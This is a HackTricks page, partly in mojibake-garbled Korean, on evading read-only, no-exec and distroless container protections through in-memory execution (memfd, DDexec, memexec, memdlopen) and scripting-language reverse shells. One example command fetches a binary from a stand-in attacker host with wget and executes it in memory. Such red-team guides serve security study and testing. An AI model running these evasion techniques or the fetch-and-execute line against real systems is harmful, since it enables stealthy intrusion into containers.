Bypass FS protections: read-only / no-exec / Distroless
Tip
AWS Hacking์ ๋ฐฐ์ฐ๊ณ ์ฐ์ตํ์ธ์:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking์ ๋ฐฐ์ฐ๊ณ ์ฐ์ตํ์ธ์:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking์ ๋ฐฐ์ฐ๊ณ ์ฐ์ตํ์ธ์:HackTricks Training Azure Red Team Expert (AzRTE)
ํ๊ฐ ํธ๋ (ARTA/GRTA/AzRTA)๊ณผ Linux Hacking Expert (LHE)๋ฅผ ๋ณด๋ ค๋ฉด ์ ์ฒด HackTricks Training ์นดํ๋ก๊ทธ๋ฅผ ๋๋ฌ๋ณด์ธ์.
HackTricks ์ง์ํ๊ธฐ
- subscription plans๋ฅผ ํ์ธํ์ธ์!
- ๐ฌ Discord group, telegram group์ ์ฐธ์ฌํ๊ณ , X/Twitter์์ @hacktricks_live๋ฅผ ํ๋ก์ฐํ๊ฑฐ๋, LinkedIn page์ YouTube channel์ ํ์ธํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud github repos์ PR์ ์ ์ถํด hacking tricks๋ฅผ ๊ณต์ ํ์ธ์.
๋น๋์ค
In the following videos you can find the techniques mentioned in this page explained more in depth:
- DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion
- Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023
read-only / no-exec scenario
์ปจํ
์ด๋์์ ํนํ read-only (ro) file system protection์ผ๋ก ๋ง์ดํธ๋ linux ์์คํ
์ ์ฐพ๋ ๊ฒฝ์ฐ๊ฐ ์ ์ ๋ง์์ง๊ณ ์์ต๋๋ค. ์ด๋ ์ปจํ
์ด๋๋ฅผ ro ํ์ผ ์์คํ
์ผ๋ก ์คํํ๋ ๊ฒ์ด securitycontext์ **readOnlyRootFilesystem: true**๋ฅผ ์ค์ ํ๋ ๊ฒ๋งํผ ์ฝ๊ธฐ ๋๋ฌธ์
๋๋ค:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
ํ์ง๋ง ํ์ผ ์์คํ
์ด ro๋ก ๋ง์ดํธ๋์๋๋ผ๋ **/dev/shm**๋ ์ฌ์ ํ ์ฐ๊ธฐ ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ ๋์คํฌ์ ์๋ฌด ๊ฒ๋ ์ธ ์ ์๋ค๋ ๊ฒ์ ์ฌ์ค์ด ์๋๋๋ค. ๋ค๋ง ์ด ํด๋๋ mounted with no-exec protection์ผ๋ก ์ค์ ๋๋ฏ๋ก, ์ฌ๊ธฐ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ค์ด๋ก๋ํ๋๋ผ๋ ์คํํ ์ ์์ต๋๋ค.
Warning
red team ๊ด์ ์์๋, ์ด๋ ์์คํ ์ ์์ง ์๋ ๋ฐ์ด๋๋ฆฌ(์: backdoors ๋๋ enumerators์ธ
kubectl)๋ฅผ ๋ค์ด๋ก๋ํ๊ณ ์คํํ๋ ์์ ์ ๋ณต์กํ๊ฒ ๋ง๋ญ๋๋ค.
Easiest bypass: Scripts
๋ฐ์ด๋๋ฆฌ๋ฅผ ์ธ๊ธํ์ง๋ง, ์ธํฐํ๋ฆฌํฐ๊ฐ ์์คํ
์ ์กด์ฌํ๋ค๋ฉด ์ด๋ ํ ์คํฌ๋ฆฝํธ๋ ์คํํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด sh๊ฐ ์์ผ๋ฉด shell script, python์ด ์ค์น๋์ด ์์ผ๋ฉด python script๋ฅผ ์คํํ ์ ์์ต๋๋ค.
ํ์ง๋ง ์ด๊ฒ๋ง์ผ๋ก๋ ๋ฐ์ด๋๋ฆฌ backdoor๋ ์คํํด์ผ ํ ๋ค๋ฅธ ๋ฐ์ด๋๋ฆฌ ๋๊ตฌ๋ฅผ ์คํํ๊ธฐ์ ์ถฉ๋ถํ์ง ์์ต๋๋ค.
Memory Bypasses
ํ์ผ ์์คํ ์ด ๋ฐ์ด๋๋ฆฌ ์คํ์ ํ์ฉํ์ง ์๋๋ค๋ฉด, ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ ๋ฉ๋ชจ๋ฆฌ์์ ์คํํ๋ ๊ฒ์ ๋๋ค. ์ด๋ฌํ ๋ณดํธ๋ ๋ฉ๋ชจ๋ฆฌ์๋ ์ ์ฉ๋์ง ์์ต๋๋ค.
FD + exec syscall bypass
๋จธ์ ๋ด๋ถ์ Python, Perl, Ruby ๊ฐ์ ๊ฐ๋ ฅํ ์คํฌ๋ฆฝํธ ์์ง์ด ์๋ค๋ฉด, ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฉ๋ชจ๋ฆฌ์์ ์คํํ๊ธฐ ์ํด ๋ค์ด๋ก๋ํ ๋ค, ๋ฉ๋ชจ๋ฆฌ ํ์ผ ๋์คํฌ๋ฆฝํฐ(create_memfd syscall)์ ์ ์ฅํ ์ ์์ต๋๋ค. ์ด ๋ฉ๋ชจ๋ฆฌ fd๋ ํด๋น ๋ณดํธ์ ์ํฅ์ ๋ฐ์ง ์์ผ๋ฉฐ, ๊ทธ ๋ค์ exec syscall์ ํธ์ถํ์ฌ fd๋ฅผ ์คํํ ํ์ผ๋ก ์ง์ ํ๋ฉด ๋ฉ๋๋ค.
์ด๋ฅผ ์ํด fileless-elf-exec ํ๋ก์ ํธ๋ฅผ ์ฝ๊ฒ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ ๋ฌํ๋ฉด ์ง์ ํ ์ธ์ด์ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํด ์ฃผ๋๋ฐ, ๊ทธ ์คํฌ๋ฆฝํธ๋ binary๋ฅผ ์์ถํ๊ณ b64๋ก ์ธ์ฝ๋ฉํ ํํ๋ก ํฌํจ๋๋ฉฐ create_memfd syscall๋ก ์์ฑํ fd์ ๋์ฝ๋ํ๊ณ ์์ถ์ ํด์ ํ๋ ์ง์นจ๊ณผ, ์ด๋ฅผ ์คํํ๊ธฐ ์ํ exec syscall ํธ์ถ์ ํฌํจํฉ๋๋ค.
Warning
PHP๋ Node ๊ฐ์ ๋ค๋ฅธ ์คํฌ๋ฆฝํ ์ธ์ด์์๋ ์๋ํ์ง ์์ต๋๋ค. ์ด๋ค์ ์คํฌ๋ฆฝํธ์์ raw syscalls๋ฅผ ํธ์ถํ๋ ๊ธฐ๋ณธ์ ์ธ ๋ฐฉ๋ฒ์ด ์๊ธฐ ๋๋ฌธ์
create_memfd๋ฅผ ํธ์ถํด ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ ์ฅํ memory fd๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค.๋ํ
/dev/shm์ ํ์ผ์ ๋ง๋ค์ด ์ผ๋ฐ fd๋ฅผ ์์ฑํ๋ ๊ฒ์ ์๋ํ์ง ์์ต๋๋ค. no-exec protection์ด ์ ์ฉ๋์ด ์คํ์ด ํ์ฉ๋์ง ์์ต๋๋ค.
DDexec / EverythingExec
DDexec / EverythingExec ๋ **/proc/self/mem**์ ๋ฎ์ด์จ์ ์์ ์ ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์์ ํ ์ ์๊ฒ ํด์ฃผ๋ ๊ธฐ์ ์
๋๋ค.
๋ฐ๋ผ์ ํ๋ก์ธ์ค๊ฐ ์คํํ๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋๋ฅผ ์ ์ดํจ์ผ๋ก์จ, shellcode๋ฅผ ์์ฑํ๊ณ ํ๋ก์ธ์ค๋ฅผ โ๋ณํโ์์ผ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
Tip
DDexec / EverythingExec๋ฅผ ์ฌ์ฉํ๋ฉด ์์ ์ shellcode ๋๋ ์ด๋ค binary๋ ๋ฉ๋ชจ๋ฆฌ์์ ๋ก๋ํ์ฌ ์คํํ ์ ์์ต๋๋ค.
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
For more information about this technique check the Github or:
MemExec
Memexec is the natural next step of DDexec. Itโs a DDexec shellcode demonised, so every time that you want to run a different binary you donโt need to relaunch DDexec, you can just run memexec shellcode via the DDexec technique and then communicate with this deamon to pass new binaries to load and run.
You can find an example on how to use memexec to execute binaries from a PHP reverse shell in https://github.com/arget13/memexec/blob/main/a.php.
Memdlopen
With a similar purpose to DDexec, memdlopen technique allows an easier way to load binaries in memory to later execute them. It could allow even to load binaries with dependencies.
Distroless Bypass
For a dedicated explanation of what distroless actually is, when it helps, when it does not, and how it changes post-exploitation tradecraft in containers, check:
What is distroless
Distroless containers contain only the bare minimum components necessary to run a specific application or service, such as libraries and runtime dependencies, but exclude larger components like a package manager, shell, or system utilities.
The goal of distroless containers is to reduce the attack surface of containers by eliminating unnecessary components and minimising the number of vulnerabilities that can be exploited.
Reverse Shell
In a distroless container you might not even find sh or bash to get a regular shell. You wonโt also find binaries such as ls, whoami, idโฆ everything that you usually run in a system.
Warning
Therefore, you wonโt be able to get a reverse shell or enumerate the system as you usually do.
However, if the compromised container is running for example a flask web, then python is installed, and therefore you can grab a Python reverse shell. If itโs running node, you can grab a Node rev shell, and the same with mostly any scripting language.
Tip
Using the scripting language you could enumerate the system using the language capabilities.
If there is no read-only/no-exec protections you could abuse your reverse shell to write in the file system your binaries and execute them.
Tip
However, in this kind of containers these protections will usually exist, but you could use the previous memory execution techniques to bypass them.
You can find examples on how to exploit some RCE vulnerabilities to get scripting languages reverse shells and execute binaries from memory in https://github.com/carlospolop/DistrolessRCE.
Tip
AWS Hacking์ ๋ฐฐ์ฐ๊ณ ์ฐ์ตํ์ธ์:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking์ ๋ฐฐ์ฐ๊ณ ์ฐ์ตํ์ธ์:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking์ ๋ฐฐ์ฐ๊ณ ์ฐ์ตํ์ธ์:HackTricks Training Azure Red Team Expert (AzRTE)
ํ๊ฐ ํธ๋ (ARTA/GRTA/AzRTA)๊ณผ Linux Hacking Expert (LHE)๋ฅผ ๋ณด๋ ค๋ฉด ์ ์ฒด HackTricks Training ์นดํ๋ก๊ทธ๋ฅผ ๋๋ฌ๋ณด์ธ์.
HackTricks ์ง์ํ๊ธฐ
- subscription plans๋ฅผ ํ์ธํ์ธ์!
- ๐ฌ Discord group, telegram group์ ์ฐธ์ฌํ๊ณ , X/Twitter์์ @hacktricks_live๋ฅผ ํ๋ก์ฐํ๊ฑฐ๋, LinkedIn page์ YouTube channel์ ํ์ธํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud github repos์ PR์ ์ ์ถํด hacking tricks๋ฅผ ๊ณต์ ํ์ธ์.


